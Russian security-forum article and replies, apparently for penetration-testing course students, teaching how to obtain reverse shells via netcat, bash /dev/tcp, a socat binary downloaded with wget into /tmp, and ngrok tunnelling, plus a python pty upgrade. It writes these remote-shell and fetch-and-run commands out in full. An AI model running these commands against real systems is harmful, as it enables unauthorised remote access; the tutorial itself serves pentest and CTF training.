• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Способы получения обратного соединения (Reverse shell)

1660774390823.png



Доброго времени суток, уважаемые форумчане!

Очередная статья будет посвящена еще одному проблемному вопросу, с которым часто приходится сталкиваться студентам курса WAPT при решении задач – это получение обратного шелла. Нет, в принципе вопрос не сложный и многие наверняка сталкивались с таким замечательным инструментом, как Netcat и может быть даже получали с его помощью прямой и обратный шелл, а кроме того, это неплохо показано в видеоматериале к курсу. Но может так случится, что на удаленном сервере не будет Netcat’а и соответственно соединение не будет установлено.

Для начала немного теории. Что же такое шелл и зачем он нужен. Shell – так называют доступ к оболочке удалённой системы. Относительно информационной безопасности, так называют доступ к оболочке, который обеспечивается бэкдором. Шеллы бывают двух видов: Bind Shell (прямой) и Reverse Shell (обратный). Они различаются особенностями подключения. Первый (прямой) – просто Shell – когда бэкдор прослушивает порт на удалённом компьютере в ожидании, когда на этот порт придёт подключение. Второй (обратный) – означает, что с удалённого компьютера делается запрос на машину атакующего, на которой, в свою очередь, уже запущена программа для управления бэкдором – которая также ожидает подключения от компьютера «жертвы».

Оба они имеют разные случаи использования. Прямой шелл используется, если у компьютера жертвы белый IP адрес (без использования NAT). Обратный шелл используется, если удалённый компьютер находится за NAT (имеет только локальный IP адрес), либо файрвол на удаленной машине блокирует входящие соединения – большинство файрволов настроены пропускать исходящие соединения. Тот вариант, когда исходящие соединения также блокируются мы рассматривать не будем.

Я не ставлю своей целью показать все возможные варианты получения шелла на удаленной машине, это достаточно объемный вопрос, и явно не уложится в формат данной статьи. Мы рассмотрим несколько вариантов создания обратного соединения с использованием некоторых инструментов, которые, в большинстве случаев, присутствуют на удаленном сервере.

Netcat

Мы все-таки затронем этот замечательный инструмент, потому что на его примере удобно показывать процедуру получения доступа к командной оболочке удаленной системы, несмотря на то, что вероятность присутствия его на сервере крайне низка. А почему? Да потому что Netcat позволяет создавать TCP и UDP соединения с любого на любой порт, умеет "слушать" входящие соединения, может сканировать порты, разрешать DNS-запросы, посылать любые команды со стандартного ввода, выполнять заранее предопределенные действия, в ответ на соединение, которое слушает утилита, делать Hex-дамп отправленных и полученных данных и много-много чего еще... Как видим, не зря эта программа получила статус «швейцарского армейского ножа» и вряд ли нормальному админу захочется иметь такого «троянского коня» на контролируемом серваке.

Итак, чтобы получить Reverse shell с удаленной машины необходимо на уязвимом сайте запустить команду nc 123.456.789.321 (IP нашей машины) 4444 (порт), а в своем терминале nc -lnvp 4444. Если вам интересно знать, что значат все эти ключи lnvp, то почитайте мануал к инструменту.

Как мы уже отметили вероятность присутствия этой программы на удаленном сервере достаточно низкая. А что же там может быть с высокой долей вероятности. Наверное, стандартные оболочки. Одна из них Bash.

Bash

К примеру, имеем Обычный php-shell, который не очень удобен для перемещения по файловой системе удаленного сервера. Пробуем поднять реверс-шелл через Netcat:

1660772730075.png


Разумеется, nc на сервере отсутствует

1660772788943.png


Не стоит раньше времени биться головой об стену, попробуем то, что там может быть. Заходим на очень хороший сайт: и выбираем то, что нам нужно

1660772856784.png


вводим в нашу командную строку: bash -c 'exec bash -i &>/dev/tcp/IP/4444 <&1'

1660773033909.png


получаем обратное соединение

1660773084371.png


Если есть желание, то можно превратить наш полученный шелл в интерактивный (TTY) шелл.

Не буду сейчас объяснять, что это такое и $@х он нужен, захотите - сами нагуглите. Могу сказать одно, без TTY вы не сможете сменить пользователя.


1660773231102.png


1660773270493.png


Как видим, система не рассматривает этот шел как терминал.

Самый простой способ привести наш шелл в состояние TTY - это запустить команду python -c 'import pty; pty.spawn("/bin/bash")', но вот же зараза, питона на сервере тоже может не быть


1660773355757.png


Можно конечно нанять людей и заказать, чтобы умного админа порезали на ремни, а можно поступить проще – обратиться еще к одному достойному инструменту - SOCAT.
SOCAT

Идем на наш любимый сайт: и ищем формат команды для SOCAT:

1660773440205.png


SOCAT на сервере скорее всего тоже отсутствует, но его можно загрузить на удаленный сервер через Github. Как правило, на любой Linux-машине есть папка со всеми правами для всех пользователей, это каталог /tmp. Поэтому просто запускаем следующую команду в очередном нашем терминале: socat -,raw,echo=0 tcp-listen:5555

1660773514550.png


а на сервере: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:5555
(если одной командой не проходит можно разделить ее на составляющие).


1660773588252.png


и получаем:

1660773664489.png


Как видите, у нас теперь tty реверс-шелл. На вышеуказанном сайте можно найти и другие варианты получения прямого и обратного шелла, а также много других интересных плюшек таких как, например, повышение привилегий в Linux-системах и др.

И еще один момент, на который я бы хотел обратить внимание – это получение реверс-шелла, если у вас отсутствует «белый» IP-адрес. Куда направлять соединение? На помощь приходит сервис ngrok – .

NGROK

Для начала надо зарегистрироваться или использовать аккаунты Google или Facebook. Затем скачиваем программу под нашу систему:

1660773794525.png


Закидываем программу в удобное место и изучаем help ngrok –h:

1660773910910.png


1. Запускаем ngrok (ngrok tcp 4444). Наш реверс-шелл будет принимать входящее соединение из Интернета и направлять его на порт 4444.

1660773965228.png


2. Запускаем netcat (nc -lnvp 4444). NC будет слушать порт 4444 и когда на него будет перенаправлено соединение и порт откроется, то запустится shell-оболочка.
1660773999130.png


3. Запускаем один из реверс-шеллов. Для примера используем тот же Netcat: nc 2.tcp.ngrok.io 16977 -e /bin/bash или Bash: bash -c 'exec bash -i &>/dev/tcp/2.tcp.ngrok.io /16977 <&1'.

4. В терминале на атакующей машине откроется соединение


1660774057540.png


5. Используем Python для получения интерактивного tty шелла python3 -c 'import pty; pty.spawn("/bin/bash")'

1660774134573.png


Вуа-ля!

На этом остановимся. Спасибо за внимание!
 
Последнее редактирование:
02.03.2021
554
399
BIT
252
Спасибо @Paladin хорошая статья, научил новому.
на каких типах задач можно потренировать данную методику? Reverse shell или другое?
 

Paladin

Red Team
10.10.2021
102
450
BIT
474
Спасибо @Paladin хорошая статья, научил новому.
на каких типах задач можно потренировать данную методику? Reverse shell или другое?
Привет. Спасибо за отзыв, рад, что статья пригодилась. По идее это можно использовать везде, где есть возможность удаленного запуска кода (например, command injection, SSTI), а также там, где есть возможность поднять мало-мальский простой веб-шелл. В различных CTFках reverse-shell не такое уж редкое событие, можно потренировать.
 
  • Нравится
Реакции: Сергей Сталь
02.03.2021
554
399
BIT
252
Привет. Спасибо за отзыв, рад, что статья пригодилась. По идее это можно использовать везде, где есть возможность удаленного запуска кода (например, command injection, SSTI), а также там, где есть возможность поднять мало-мальский простой веб-шелл. В различных CTFках reverse-shell не такое уж редкое событие, можно потренировать.
я вот сейчас немного подумал. В теории описанное тобой можно оптимизировать и ускорить использованием обычным bash скриптом, который будет перебирать техники по очереди пока не получишь нужный результат. Ну или если сильно хочется на python накидать скрипт за полчаса
 

Paladin

Red Team
10.10.2021
102
450
BIT
474
я вот сейчас немного подумал. В теории описанное тобой можно оптимизировать и ускорить использованием обычным bash скриптом, который будет перебирать техники по очереди пока не получишь нужный результат. Ну или если сильно хочется на python накидать скрипт за полчаса
Я понял твою идею. В теории можно все возможные варианты загнать в скрипт, который их будет перебирать - что-то да сработает и слушалка откроет порт. Но по факту вариантов, где будет одна из уязвимостей, которая позволит запустить шелл, может быть очень много. Поэтому скрипт всегда придётся править под конкретный случай. К тому же могут быть частности, когда команды требуется подавать в другой кодировке. Короче, мне кажется, в данном случае автоматизация себя не оправдает. Лучше взять готовую команду и просто запустить её.
 
  • Нравится
Реакции: Shihskauskas
02.03.2021
554
399
BIT
252
Я понял твою идею. В теории можно все возможные варианты загнать в скрипт, который их будет перебирать - что-то да сработает и слушалка откроет порт. Но по факту вариантов, где будет одна из уязвимостей, которая позволит запустить шелл, может быть очень много. Поэтому скрипт всегда придётся править под конкретный случай. К тому же могут быть частности, когда команды требуется подавать в другой кодировке. Короче, мне кажется, в данном случае автоматизация себя не оправдает. Лучше взять готовую команду и просто запустить её.
т.е. иметь просто готовый список команд в блокноте, если требуется слегка править. Поскольку такое в голове хранить сложно
 

Paladin

Red Team
10.10.2021
102
450
BIT
474
т.е. иметь просто готовый список команд в блокноте, если требуется слегка править. Поскольку такое в голове хранить сложно

Конечно. У меня, к примеру, в Cherry Tree целое дерево под все интересное выделено и отсортировано. Если в pdf экспортировать - книга получится
 
  • Нравится
Реакции: Сергей Сталь

transport174

New member
27.03.2023
2
0
BIT
6
Привет всем. Я тут пытаюсь разобраться . Я у себя запускаю nc -lnvp 4444 и слушаю, но вопрос в том как скрипт для исполнение отправить на машину жертву? Какой командой ?
 

Exited3n

Red Team
10.05.2022
685
243
BIT
506
Привет всем. Я тут пытаюсь разобраться . Я у себя запускаю nc -lnvp 4444 и слушаю, но вопрос в том как скрипт для исполнение отправить на машину жертву? Какой командой ?
У тебя должен быть до нее доступ уже. Например готовая RCE.
 

BAO

Red Team
11.09.2019
71
57
BIT
30
Закинул бы сюда revers.php многим пригодился бы
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!